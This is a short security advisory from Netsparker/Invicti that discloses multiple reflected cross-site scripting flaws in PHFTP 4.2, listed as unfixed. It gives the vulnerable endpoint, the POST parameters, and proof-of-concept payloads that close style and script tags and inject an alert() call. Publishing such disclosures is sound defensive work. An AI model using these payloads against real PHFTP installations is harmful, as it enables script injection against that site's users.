Multiple Reflected XSS Vulnerabilities in PHFTP 4.2

Information

Advisory by Netsparker (now Invicti)
Name: Multiple Reflected XSS Vulnerabilities in PHFTP
Affected Software: PHFTP
Affected Versions: 4.2
Vendor Homepage: https://sourceforge.net/projects/phftp/ 
Vulnerability Type: Cross-site Scripting
Severity: Important
Status: Not Fixed
Invicti Advisory Reference: NS-17-025

Technical Details

Proof of Concept URLs for XSS vulnerabilities in PHFTP 4.2;

URL: /phftp_42/ftp.php
Parameter Name: phpftp_port
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x000156)</scRipt>

URL: /phftp_42/ftp.php
Parameter Name: phpftp_host
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x00014A)</scRipt>

For more information on cross-site scripting vulnerabilities, see Cross-site Scripting (XSS).

Advisory Timeline

01 Feb 2017 – Issue reported.
12 Jun 2017 – Advisory released.

Solution

No solution is available at the time of publishing this advisory.

Credits & Authors

These issues have been discovered by Enes Aslanbakan while testing Invicti Web Application Security Scanner.

About Invicti

Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.